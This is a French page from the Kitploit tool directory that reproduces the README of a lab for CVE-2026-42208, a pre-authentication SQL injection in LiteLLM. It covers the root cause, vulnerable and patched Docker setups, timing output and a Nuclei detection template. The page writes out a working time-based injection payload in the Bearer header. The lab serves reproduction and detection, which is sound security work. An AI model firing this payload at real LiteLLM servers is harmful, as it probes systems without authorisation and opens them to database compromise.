Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
poc_cve-2026-42208 — Laboratoire de reproduction pour CVE-2026-42208, une injection SQL critique sans authentification dans LiteLLM. Inclut des environnements vulnérables/corrigés basés sur Docker, un exploit PoC basé sur le timing, et un modèle de détection Nuclei pour les tests de sécurité. | Kitploit
Outils/GitHubGitHub/haerin-l/poc_cve-2026-42208
Analyse des VulnérabilitésExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubhaerin-l/poc_cve-2026-42208

poc_cve-2026-42208

Laboratoire de reproduction pour CVE-2026-42208, une injection SQL critique sans authentification dans LiteLLM. Inclut des environnements vulnérables/corrigés basés sur Docker, un exploit PoC basé sur le timing, et un modèle de détection Nuclei pour les tests de sécurité.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-42208 — Injection SQL pré-authentification LiteLLM

Un environnement de laboratoire pour reproduire et détecter CVE-2026-42208, une injection SQL critique avant authentification dans LiteLLM où des jetons Bearer non nettoyés atteignent une requête PostgreSQL brute.


Aperçu de la vulnérabilité

ChampDétails
ID CVECVE-2026-42208
GHSAGHSA-r75f-5x8p-qvmc
CVSS9.3 (Critique) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versions affectées>= 1.81.16, < 1.83.7
Version corrigéev1.83.7 (requête paramétrée)
CWECWE-89 (Injection SQL)

Cause racine

root@kitploit:~
Vulnérable (v1.83.6) :
  POST /v1/chat/completions
  Authorization: Bearer <payload>   ← payload does NOT start with "sk-"
    → api_key.startswith("sk-") assertion fails  (utils.py:1189)
    → caught by except Exception                  (utils.py:1560)
    → _handle_authentication_error(api_key=RAW_PAYLOAD)
    → _enrich_failure_metadata_with_key_info()
    → get_data(token=RAW_PAYLOAD, table_name="combined_view")
    → SQL: WHERE v.token = '{payload}'  ← injection

Corrigé (v1.83.7) :
  Même chemin de requête, mais :
    → get_data(token=hashed_token, ...)
    → SQL: WHERE v.token = $1          ← paramétré, pas d'injection

Prérequis d'attaque

#ConditionDétails
1Version affectée de LiteLLM>= 1.81.16, < 1.83.7
2Backend PostgreSQLLes déploiements SQLite ne sont pas concernés
3Aucune authentification requisePré-authentification ; aucun identifiant nécessaire
4≥1 ligne dans VerificationTokenpg_sleep ne se déclenche que par ligne ; table vide = pas de délai

Architecture du laboratoire

root@kitploit:~
Machine hôte
├── localhost:8010 ──→ Docker: litellm-vuln    (v1.83.6-nightly  ⚠ VULNÉRABLE)
│                      Docker: litellm-db-vuln  (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable   ✓ CORRIGÉ)
                       Docker: litellm-db-patched (PostgreSQL 15)

Prérequis

OutilInstallation
Docker Desktopdocker.com
nucleibrew install nuclei
curl, python3préinstallé sur macOS

Comment exécuter

Étape 1 — Configurer l'environnement de laboratoire

root@kitploit:~
bash scripts/01-setup.sh

Une fois terminé :

root@kitploit:~
══════════════════════════════════════════════════════
 Laboratoire prêt !
 Vulnérable (v1.83.6-nightly) : http://localhost:8010
 Corrigé    (v1.83.7-stable)  : http://localhost:8011
 Clé maîtresse : sk-lab-master-key
 Suite : bash scripts/02-exploit.sh
══════════════════════════════════════════════════════

Étape 2 — Déclencher la CVE

root@kitploit:~
bash scripts/02-exploit.sh

Sortie attendue — vulnérable (v1.83.6-nightly) :

root@kitploit:~
── Vulnerable (v1.83.6-nightly, port 8010) ──
  Baseline    : 0.031s
  Injection   : 6.062s  (HTTP 401)
  Delta       : +6.031s
  ⚠  RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)

Sortie attendue — corrigé (v1.83.7-stable) :

root@kitploit:~
── Patched    (v1.83.7-stable,  port 8011) ──
  Baseline    : 0.028s
  Injection   : 0.029s  (HTTP 401)
  Delta       : +0.001s
  ✓  RESULT: No significant delay — injection not executed (PATCHED)

Étape 3 — Détection avec Nuclei

root@kitploit:~
# Instance vulnérable → devrait produire une alerte [critique]
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010

# Instance corrigée → ne devrait produire aucune alerte
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011

Vulnérable (v1.83.6-nightly) :

Détection Nuclei — vulnérable

Corrigé (v1.83.7-stable) :

Détection Nuclei — corrigé

Étape 4 — Nettoyage

root@kitploit:~
bash scripts/99-teardown.sh

Structure du répertoire

root@kitploit:~
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md       # Analyse au niveau du code (anglais)
├── LAB_SETUP_GUIDE.md              # Guide de configuration du laboratoire (anglais)
├── NUCLEI_TEMPLATE_GUIDE.md        # Conception du modèle Nuclei (anglais)
├── docker-compose.yaml
│
├── REPORT/                         # Rapports coréens
│   ├── Vulnerability_Analysis_KR.md
│   ├── LAB_REPORT_KR.md
│   └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│   └── CVE-2026-42208.yaml         # Modèle de détection Nuclei
│
└── scripts/
    ├── 01-setup.sh                 # Démarrer les conteneurs, créer une clé de départ
    ├── 02-exploit.sh               # Preuve de concept : preuve d'injection temporelle
    └── 99-teardown.sh              # Arrêter et supprimer toutes les ressources du laboratoire

Logique de détection du modèle Nuclei

root@kitploit:~
Étape 1  GET /health/liveliness
        → match "I am alive" dans le corps
        → confirme que la cible est une instance LiteLLM

Étape 2  POST /v1/chat/completions
        Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --

        Correspondances (ET — toutes doivent réussir) :
          status == 401           élimine les faux positifs 504/502
          body contient           "auth_error" OU "Authentication Error"
                                  confirme le chemin d'authentification LiteLLM, pas un proxy
          duration >= 5           pg_sleep(6) déclenché → injection confirmée

Prévention des faux positifs :

  • status == 401 élimine les réponses provenant de dépassements de délai en amont (504) et d'erreurs de passerelle (502)
  • La correspondance de mot-clé dans le corps confirme que le 401 provient de la gestion d'authentification de LiteLLM, pas d'un WAF ou d'un proxy
  • duration >= 5 est suffisamment élevé pour exclure la gigue réseau (baseline ≤0,5s)

Références

  • GHSA-r75f-5x8p-qvmc
  • NVD — CVE-2026-42208
  • Analyse Sysdig

Attention : Tous les identifiants dans ce laboratoire sont des données de test fictives, utilisées uniquement à des fins de recherche en sécurité. Ne jamais les utiliser en production. Obtenez toujours une autorisation explicite avant de scanner des systèmes qui ne vous appartiennent pas.

Télécharger l’outil